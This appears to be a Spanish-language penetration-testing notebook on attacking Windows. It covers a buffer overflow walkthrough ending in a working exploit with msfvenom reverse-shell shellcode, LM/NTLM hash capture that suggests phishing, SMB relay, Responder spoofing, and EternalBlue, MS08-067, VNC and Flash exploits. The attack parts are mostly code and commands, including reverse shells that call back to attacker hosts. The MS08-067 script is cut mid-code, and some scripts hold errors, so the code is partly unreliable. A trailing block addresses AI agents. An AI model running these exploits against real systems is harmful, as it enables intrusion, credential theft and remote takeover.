# Explotación de Entornos Windows
## Exploits
[Enlace de descargar](https://github.com/W0lfF4ng/Exploits) de exploits de Windows.
## Buffer Overflow básico
{% tabs %}
{% tab title="01 - Iniciar el programa en el Debugger" %}
Abrimos el programa usando `Immunity Debugger` (este deber ser iniciado como administrador). En `Debug`, seleccionamos `Run` para iniciar el programa:
> Por cada prueba a realizar, se debe repetir este paso, debido que, el programa deja de funcionar.
> {% endtab %}
{% tab title="02 - Identificar el funcionamiento del programa" %}
Validamos si el puerto del servicio se encuentra abierto:
Chequeamos el funcionamiento del servicio:
Si ingresamos `OVERFLOW1 test`, observamos que nos responde `OVERFLOW1 COMPLETE`:
{% endtab %}
{% endtabs %}
{% tabs %}
{% tab title="03 - Creación del directorio de trabajo" %}
Creamos un directorio de trabajo usando `mona`:
```
!mona config -set workingfolder c:\mona\%p
```
{% endtab %}
{% tab title="04 - Obtención del offset" %}
Usando el siguiente programa, podemos validar la cantidad de caracteres que hacer que el programa deje de funcionar:
```python
#!/usr/bin/env python3
import socket, time, sys
rhost = "192.168.233.139"
rport = 1337
timeout = 5
prefix = b"OVERFLOW1 "
payload = b"A" * 100
try:
while True:
print("Sent " + str(len(payload)))
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((rhost,rport))
s.send(prefix + payload + b"\r\n")
data = s.recv(1024)
payload += b"A" * 100
except Exception as err:
print("Error: " + str(err))
sys.exit(1)
```
Si revisamos en `Immunity Debugger`, podemos observar que tiene los caracteres `A` enviados en el registro EIP:
Como se puede apreciar en la imagen del script `fuzzer.py`, a los 2100 caracteres, el programa deja de responder.
Para obtener la cantidad correcta de caracteres que necesitamos para crashear el programa, usamos los scripts `pattern_create.rb` y `pattern_offset.rb` de `Metasploit.`
``Con `pattern_create.rb` generamos un patrón de caracteres con la cantidad indicada:``
```bash
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2100
```
Modificamos el script anterior para enviar la lista de caracteres generados:
```python
#!/usr/bin/env python3
import socket, time, sys
rhost = "192.168.233.139"
rport = 1337
timeout = 5
prefix = b"OVERFLOW1 "
payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9"
try:
print("Sent " + str(len(payload)))
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((rhost,rport))
s.send(prefix + payload + b"\r\n")
data = s.recv(1024)
except Exception as err:
print("Error: " + str(err))
sys.exit(1)
```
Observamos el valor del EIP, y lo copiamos para usarlo con `pattern_offset.rb`:
```bash
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 6F43396E
```
{% endtab %}
{% tab title="05 - Badchars" %}
Con `mona` generamos un bytearray, en el cual, se excluirá el byte null `\x00`:
```
!mona bytearray -cpb "\x00"
```
Ahora, generamos una lista de caracteres a revisar usando el siguiente script:
```python
#!/usr/bin/env python3
for x in range(1, 256):
print("\\x" + "{:02x}".format(x), end='')
print()
```
Ejecutamos el siguiente script, el cual, contiene el valor del offset, el valor que escribiremos en el registro EIP, y los badchars:
```python
#!/usr/bin/env python3
import socket, time, sys
rhost = "192.168.233.139"
rport = 1337
timeout = 5
prefix = b"OVERFLOW1 "
payload = b"A" * 1978
payload += b"BBBB"
badchars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
try:
print("Sent " + str(len(payload)))
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((rhost,rport))
s.send(prefix + payload + return + badchars + b"\r\n")
data = s.recv(1024)
except Exception as err:
print("Error: " + str(err))
sys.exit(1)
```
Tomamos el valor del registro `ESP` que es `01A5FA30` y lo analizamos con `mona`:
```
!mona compare -f C:\mona\oscp\bytearray.bin -a 01A5FA30
```
Vemos que los caracteres indicados por `mona` son: `\x00`, `\x07`, `\x08`, `\x2e`, `\x2f`, `\xa0`, `\xa1`.
Volvemos a ejecutar el script anterior, pero esta vez, se debe modificar los badchars sacando uno a la vez:
Los badchars identificados son: `\x00`, `\x07`, `\x2e`, `\xa0`.
{% endtab %}
{% endtabs %}
{% tabs %}
{% tab title="06 - Valor del registro de salto" %}
Usando `mona`, debemos encontrar el valor de un registro de salto `JMP` al `ESP`, el cual, no debe tener protecciones:
```
!mona jmp -r esp
```
El salto al `ESP` es `0x625011af`, que, en `little endian` es `\xaf\x11\x50\x62`.
{% endtab %}
{% tab title="07 - Explotación" %}
Generamos con `msfvenom` el payload de la shell reversa que usaremos:
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.233.137 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f python
```
Modificamos el script, donde, se debe indicar lo siguiente:
* `payload`: cantidad de caracteres a enviar antes de generar la denegación de servicio (corresponde al offset)
* `address`: dirección de la instrucción `JMP` que saltará al registro `ESP`
* `nops`: instrucciones recomendadas para el funcionamiento del script
* `buf`: payload generado con `msfvenom`
```python
#!/usr/bin/env python3
import socket, time, sys
rhost = "192.168.233.139"
rport = 1337
timeout = 5
prefix = b"OVERFLOW1 "
payload = b"A" * 1978
address += b"\xaf\x11\x50\x62"
nops = b"\x90" * 20
buf = b""
buf += b"\xd9\xc9\xd9\x74\x24\xf4\x5a\xbd\xe1\xcb\xd9\xfc\x33"
buf += b"\xc9\xb1\x52\x31\x6a\x17\x83\xc2\x04\x03\x8b\xd8\x3b"
buf += b"\x09\xb7\x37\x39\xf2\x47\xc8\x5e\x7a\xa2\xf9\x5e\x18"
buf += b"\xa7\xaa\x6e\x6a\xe5\x46\x04\x3e\x1d\xdc\x68\x97\x12"
buf += b"\x55\xc6\xc1\x1d\x66\x7b\x31\x3c\xe4\x86\x66\x9e\xd5"
buf += b"\x48\x7b\xdf\x12\xb4\x76\x8d\xcb\xb2\x25\x21\x7f\x8e"
buf += b"\xf5\xca\x33\x1e\x7e\x2f\x83\x21\xaf\xfe\x9f\x7b\x6f"
buf += b"\x01\x73\xf0\x26\x19\x90\x3d\xf0\x92\x62\xc9\x03\x72"
buf += b"\xbb\x32\xaf\xbb\x73\xc1\xb1\xfc\xb4\x3a\xc4\xf4\xc6"
buf += b"\xc7\xdf\xc3\xb5\x13\x55\xd7\x1e\xd7\xcd\x33\x9e\x34"
buf += b"\x8b\xb0\xac\xf1\xdf\x9e\xb0\x04\x33\x95\xcd\x8d\xb2"
buf += b"\x79\x44\xd5\x90\x5d\x0c\x8d\xb9\xc4\xe8\x60\xc5\x16"
buf += b"\x53\xdc\x63\x5d\x7e\x09\x1e\x3c\x17\xfe\x13\xbe\xe7"
buf += b"\x68\x23\xcd\xd5\x37\x9f\x59\x56\xbf\x39\x9e\x99\xea"
buf += b"\xfe\x30\x64\x15\xff\x19\xa3\x41\xaf\x31\x02\xea\x24"
buf += b"\xc1\xab\x3f\xea\x91\x03\x90\x4b\x41\xe4\x40\x24\x8b"
buf += b"\xeb\xbf\x54\xb4\x21\xa8\xff\x4f\xa2\x17\x57\xa6\xbb"
buf += b"\xf0\xaa\x38\xad\x5c\x22\xde\xa7\x4c\x62\x49\x50\xf4"
buf += b"\x2f\x01\xc1\xf9\xe5\x6c\xc1\x72\x0a\x91\x8c\x72\x67"
buf += b"\x81\x79\x73\x32\xfb\x2c\x8c\xe8\x93\xb3\x1f\x77\x63"
buf += b"\xbd\x03\x20\x34\xea\xf2\x39\xd0\x06\xac\x93\xc6\xda"
buf += b"\x28\xdb\x42\x01\x89\xe2\x4b\xc4\xb5\xc0\x5b\x10\x35"
buf += b"\x4d\x0f\xcc\x60\x1b\xf9\xaa\xda\xed\x53\x65\xb0\xa7"
buf += b"\x33\xf0\xfa\x77\x45\xfd\xd6\x01\xa9\x4c\x8f\x57\xd6"
buf += b"\x61\x47\x50\xaf\x9f\xf7\x9f\x7a\x24\x17\x42\xae\x51"
buf += b"\xb0\xdb\x3b\xd8\xdd\xdb\x96\x1f\xd8\x5f\x12\xe0\x1f"
buf += b"\x7f\x57\xe5\x64\xc7\x84\x97\xf5\xa2\xaa\x04\xf5\xe6"
try:
print("Sent " + str(len(payload)))
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(timeout)
s.connect((rhost,rport))
s.send(prefix + payload + address + nops + buf + b"\r\n")
data = s.recv(1024)
except Exception as err:
print("Error: " + str(err))
sys.exit(1)
```
> Antes de ejecutar el exploit, debemos tener el puerto indicado en el payload a la escucha.
> {% endtab %}
> {% endtabs %}
## Capturando hash LM/NTLMv1 con Metasploit
Iniciamos el módulo de [captura](https://www.rapid7.com/db/modules/auxiliary/server/capture/smb):
```bash
msfconsole -q
use auxiliary/server/capture/smb
set JOHNPWFILE hashpwd
run
```
En este caso, podemos usar alguna técnica de ingeniería social para pasar la URL al target, como por ejemplo, una imagen con hipervínculo en un phishing:
```bash
```
Cuando se conecte el target, y este trabaje con hashes LM o NTLMv1, podemos intentar crackearlos usando `JohnTheRipper`:
```bash
john --format=netlm hashpwd_netntlm
```
En caso de que `JohnTheRipper` falle, podemos usar rainbow tables:
* [rcracki\_mt](https://github.com/foreni-packages/rcracki_mt)
* Tablas:
*
*
Comando:
```bash
rcracki_mt -h [8B_hash_LM] -t [threads] [tablas]
```
* `-h` primeros 8 bytes del hash LM
* `-t` threads a usar
Ejemplo:
```bash
rcracki_mt -h 1f548398f0f49ea1 -t 4 *.rti
```
Ahora que tenemos la primera parte de la password descifrada, usamos la herramienta `halflm_second.rb` de `Metasploit`, el cual, se encuentra en `/usr/share/metasploit-framework/tools/password`:
```bash
ruby halflm_second.rb -n [hash] -p [parte_de_la_pass_encontrada]
```
* `-n` hash obtenido
* `-p` parte de la password encontrada en el paso anterior
Ejemplo:
```bash
ruby halflm_second.rb -n 1f548398f0f49ea18e2f0dcb9562b75eaa32e75aebf1d69c -p ELSPWD1
```
Ahora con la herramienta `netntlm` de `JohnTheRipper,` podemos obtener la password real (esta se encuentra en `/usr/share/john/`):
```bash
perl netntlm.pl -file [file_hash] -seed [password]
```
* `-file` archivo que tiene el hash obtenido en la primera etapa
* `-seed` password obtenida en el paso anterior
Ejemplo:
```bash
perl netntlm.pl -file /root/hashpwd_netntlm -seed PASS123
```
> Podemos usar esta herramienta para obtener la password en mayúsculas, al igual que lo hace `halflm_second`, donde, `-seed` seria la primera parte de la password obtenida.
>
> El cracking de los hashes NTLMv2 se considera no factible.
## SMB Relay en NTLMv1/v2
Resumen del ataque:
{% tabs %}
{% tab title="Explotación usando Metasploit" %}
Para iniciar este ataque, usamos los siguientes comandos:
> Con la opción `SMBHOST` indicamos el target.
```bash
msfconsole -q
use exploit/windows/smb/smb_relay
set SMBHOST 192.168.1.1
run
```
> Esto funciona solo si el ***Network security: LAN Manager authentication level*** se encuentra configurado como ***Send LM & NTLM responses*** o ***Send NTLMv2 response only***.
> {% endtab %}
{% tab title="Explotación usando Impacket" %}
Para este caso, usaremo el script [`smbrelayx.py`](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbrelayx.py).
Lo primero es crear un payload para obtener una shell usando [`msfvenom`](https://www.rapid7.com/blog/post/2011/05/24/introducing-msfvenom/)`.`
Comando:
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[local_IP] LPORT=[local_port] -f exe -o [output_file]
```
* `-p` indicamos el payload a usar
* `LHOST` dirección IP local que estará a la escucha de la conexión
* `LPORT` puerto local que estará a la escucha
* `-f` formato del archivo
* `-o` indicamos el nombre del archivo donde se guardará el output
Ejemplo:
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.200 LPORT=4455 -f exe -o smbexp.exe
```
En otra terminal, ponemos a la escucha la dirección y puerto para poder obtener la shell:
```bash
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 4455
run
```
Ejecutamos nuestro relay:
```bash
./smbrelayx.py -h [target_IP] -e [payload]
```
* `-h` indicamos la dirección IP del target
* `-e` especificamos el archivo creado con `msfvenom`
Ejemplo:
```bash
./smbrelayx.py -h 192.168.1.1 -e smbexp.exe
```
{% endtab %}
{% endtabs %}
## NBT-NS/LLMNR Spoofing
Es posible realizar un spoofing de `LLMNR` (Link-Local Multicast Name Resolution) y de `NBT-NS` (NetBIOS Name Service) a través de un ataque mitm y así, obtener sus hashes.
LLMNR es el sucesor de NBT-NS, el cual, fue introducido en Windows Vista.
Cuando la resolución de nombres falla, se utilizan estos protocolos.
Al momento que estos protocolos son usados para descubrir host, envían mensajes broadcast a la red con los hashes `NTLMv1/v2`, los cuales, pueden ser interceptados en la red local (VLAN), para usarlos en otros sistemas, o crackearlos de forma offline.
### **Escenario de ataque**
1. El host A envía un request a un recurso compartido SMB al sistema `\\intranet\files`, pero, en vez de escribir `intranet`, escribe `intrnet`
2. Se manda una consulta al DNS para poder resolver el nombre `intrnet`, el cual, no es conocido por este, por lo tanto, el host A envía un mensaje broadcast LLMNR o NBT-NS consultando la dirección IP de dicho host
3. El atacante responde el mensaje broadcast, indicando que el es `intrnet`
4. El host A envía al atacante su nombre de usuario y el `hash NTLMv1/v2`
### Herramientas para realizar el ataque
[**Responder**](https://github.com/lgandx/Responder) es una herramienta que permite explotar esta debilidad en estos protocolos, para así, poder capturar los hashes NTLMv1/v2, y con esto, retransmitirlos a otro sistema para poder autentificarnos.
> En Kali se puede encontrar en `/usr/share/responder`
Para este caso, Responder actúa como un listener de los mensajes broadcast, y realiza un spoofing de las respuesta al host target, resultando en la intercepción de los hashes que pueden ser pasados a otros sistemas, o eventualmente, poder crackearlos de forma offline.
En conjunto con Responder, se usa [**Multirelay**](https://github.com/lgandx/Responder/blob/master/tools/MultiRelay.py), el cual, permite realizar un relay de los hashes a otras máquinas de la LAN, y con esto, obtener una shell en ellos.
> Para llevar a cabo este ataque, es necesario que se encuentre deshabilitado el [SMB Signing](https://docs.microsoft.com/en-US/troubleshoot/windows-server/networking/overview-server-message-block-signing) en el target. Para poder determinar si este no se encuentra habilitado, se puede usar la herramienta [**RunFinger**](https://github.com/lgandx/Responder/blob/master/tools/RunFinger.py).
Uso de **RunFinger**:
```bash
python RunFinger.py -i [IP target]
```
### **Atacando LLMNR/NBT-NS**
* Modificar el archivo `Responder.conf`, deshabilitando `SMB`y `HTTP`:
* Ejecutamos **Responder** en la interfaz que deseamos:
* `-I` interfaz que estará a la escucha
* `--lm` realiza un downgrade de los hashes a LM
```bash
python Responder.py -I [interfaz]
```
* En otra terminal, ejecutar **MultiRelay**:
* `-t` indicamos la IP del target
* `-u ALL` realiza un relay de todos los usuarios. También se puede indicar el usuario que queremos, reemplazando `ALL` por el nombre del usuario
```bash
python MultiRelay.py -t [IP target] - u ALL
```
## EternalBlue (MS17-010)
{% tabs %}
{% tab title="Explotación con Metasploit" %}
`Metasploit` posee dos módulos asociados a esta vulnerabilidad que nos ayudaran a detectarla y explotarla:
* [Módulo auxiliar](https://www.rapid7.com/db/modules/auxiliary/scanner/smb/smb_ms17_010)
* [Módulo de explotación](https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue)
Validación de vulnerabilidad:
```bash
msfconsole -q
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.1
run
```
Explotación:
```bash
msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.1.1
run
```
{% endtab %}
{% endtabs %}
{% tabs %}
{% tab title="Explotación Manual sin PIPE" %}
Lo primero que validamos es si es vulnerable a la versión que usa `PIPE`. Para lograr esto, descargamos el siguiente [script](https://raw.githubusercontent.com/worawit/MS17-010/master/checker.py).
> Este script usa como complemento el script [mysmb.py](https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py).
```bash
python3 checker.py 10.10.10.40
```
Vemos que no es vulnerable a la opción que utiliza `PIPE`, por lo tanto, usaremos el siguiente [script](https://root4loot.com/post/eternalblue_manual_exploit/).
Lo primero es definir la arquitectura del target, para lograr esto, usamos crackmapexec:
```bash
crackmapexec smb 10.10.10.40
```
Vemos que la máquina es de arquitectura x64, por lo tanto, trabajamos con el shellcode indicado para esa arquitectura.
Ensamblamos el shellcode del kernel con `nasm`:
```bash
nasm -f bin shellcode_x64.asm -o ./sc_x64_kernel.bin
```
Generamos el payload para poder obtener una reverse shell:
```bash
msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=10.10.14.6 --platform windows -a x64 --format raw -o sc_x64_payload.bin
```
Ahora juntamos ambos archivos:
```bash
cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin
```
Por último, ejecutamos el exploit:
```bash
python3 ms17-010.py 10.10.10.40 sc_x64.bin 6
```
> El valor 6 corresponde al `numGroomConn`, el cual, a prueba y error resultó ser dicho número.
{% endtab %}
{% tab title="Explotación Manual con PIPE" %}
### Explotación 1
Para máquinas x64m usar el siguiente shellcode:
*
Ensamblamos el shellcode del kernel con `nasm`:
```bash
nasm -f bin shellcode_x64.asm -o ./sc_x64_kernel.bin
```
Generamos un payload con el reverse shell:
```bash
msfvenom -p windows/x64/shell_reverse_tcp LPORT=4444 LHOST=10.13.18.211 --platform windows -a x64 --format raw -o sc_x64_payload.bin
```
Ahora juntamos ambos archivos:
```bash
cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin
```
### Explotación 2
Descargamos los siguientes scripts para explotar esta vulnerabilidad:
```bash
wget https://raw.githubusercontent.com/3ndG4me/AutoBlue-MS17-010/master/zzz_exploit.py -O ms17-010.py
wget https://raw.githubusercontent.com/3ndG4me/AutoBlue-MS17-010/master/mysmb.py -O mysmb.py
```
Ahora ejecutamos el script, con el cual, obtenemos una shell en la máquina:
```bash
python3 ms17-010.py 10.10.10.4
```
{% endtab %}
{% endtabs %}
## NetAPI (MS08-067)
{% tabs %}
{% tab title="Explotación con Metasploit" %}
`Metasploit` posee el módulo `exploit/windows/smb/ms08_067_netapi` que permite explotar esta vulnerabilidad.
```bash
msfconsole -q
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 192.168.1.1
set LHOST 192.168.1.200
run
```
{% endtab %}
{% tab title="Explotación Manual" %}
Para poder explotar esta vulnerabilidad, usamos el siguiente script:
```python
#!/usr/bin/python3
import struct
import time
import sys
from threading import Thread # Thread is imported incase you would like to modify
try:
from impacket import smb
from impacket import uuid
from impacket.dcerpc.v5 import transport
except ImportError:
print('Install the following library to make this script work')
print('Impacket : https://github.com/CoreSecurity/impacket.git')
print('PyCrypto : https://pypi.python.org/pypi/pycrypto')
sys.exit(1)
shellcode = b""
num_nops = 410 - len(shellcode)
newshellcode = b"\x90" * num_nops
newshellcode += shellcode # Add NOPS to the front
shellcode = newshellcode # Switcheroo with the newshellcode temp variable
nonxjmper = b"\x08\x04\x02\x00%s" + b"A" * 4 + b"%s" + \
b"A" * 42 + b"\x90" * 8 + b"\xeb\x62" + b"A" * 10
disableNXjumper = b"\x08\x04\x02\x00%s%s%s" + b"A" * \
28 + b"%s" + b"\xeb\x02" + b"\x90" * 2 + b"\xeb\x62"
ropjumper = b"\x00\x08\x01\x00" + b"%s" + b"\x10\x01\x04\x01";
module_base = 0x6f880000
def generate_rop(rvas):
gadget1 = b"\x90\x5a\x59\xc3"
gadget2 = [b"\x90\x89\xc7\x83", b"\xc7\x0c\x6a\x7f", b"\x59\xf2\xa5\x90"]
gadget3 = b"\xcc\x90\xeb\x5a"
ret = struct.pack(' Path length of 620.
Offset = b"\x00\x00\x00\x00"
ActualCount = b"\x36\x01\x00\x00" # Decimal 310. => Path length of 620
self.__stub = server + MaxCount + Offset + ActualCount + \
path + b"\xE8\x03\x00\x00" + prefix + b"\x01\x10\x00\x00\x00\x00\x00\x00"
return
def run(self):
self.__DCEPacket()
self.__dce.call(0x1f, self.__stub)
time.sleep(3)
print('Exploit finish\n')
if __name__ == '__main__':
try:
target = sys.argv[1]
os = sys.argv[2]
port = sys.argv[3]
except IndexError:
print('\nUsage: %s \n' % sys.argv[0])
print('Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445')
print('Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)')
print('Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal')
print('Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English')
print('Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)')
print('Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)')
print('Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)')
print('')
print('FYI: nmap has a good OS discovery script that pairs well with this exploit:')
print('nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 192.168.1.1')
print('')
sys.exit(-1)
current = SRVSVC_Exploit(target, os, port)
current.start()
```
Debemos modificar la variable `shellcode` para poder obtener nuestra shell reversa. Para esto, usamos el siguiente comando:
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.6 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python -v shellcode -a x86 --platform windows
```
Ejecutamos el script, dejando a la escucha el puerto 443:
```bash
nc -nlvp 443
```
{% endtab %}
{% endtabs %}
## VNC Keystrokes con Metasploit
* [Sending Keystrokes to Your (Virtual) Machines using X, Vnc , Rdp or Native ways](https://www.jedi.be/blog/2010/08/29/sending-keystrokes-to-your-virtual-machines-using-x-vnc-rdp-or-native/)
```bash
msfconsole -q
use exploit/multi/vnc/vnc_keyboard_exec
set RHOSTS 192.168.1.1
set PASSWORD VNCpwd
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.200
run
```
> El parámetro `PASSWORD` no es requerido.
## Adobe Flash Player ByteArray Use After Free
Este exploit explota el uso de [After Free de Adobe Flash Player](https://www.rapid7.com/db/modules/exploit/multi/browser/adobe_flash_hacking_team_uaf/) cuando maneja objetos ByteArray.
```bash
msfconsole -q
use exploit/multi/browser/adobe_flash_hacking_team_uaf
set SRVHOST 192.168.1.200
set SRVPORT 8080
set URIPATH test
set TARGET 0
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.200
set LPORT 4444
run
```
* `SRVHOST` dirección IP local que se encuentra a la escucha
* `SRVPORT` puerto local que se encuentra a la escucha
* `URIPATH` URI a usar para en el exploit
* `TARGET` 0 para Windows, 1 para Linux
* `PAYLOAD` payload a usar para obtener la shell reversa
* `LHOST` dirección IP local al que se conectará el target
* `LPORT` puerto local al que se conectará el target
Esto generará una URL, la cual, el target debe ingresar para poder explotar este recurso (se puede usar alguna técnica de ingeniería social para lograr esto).
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
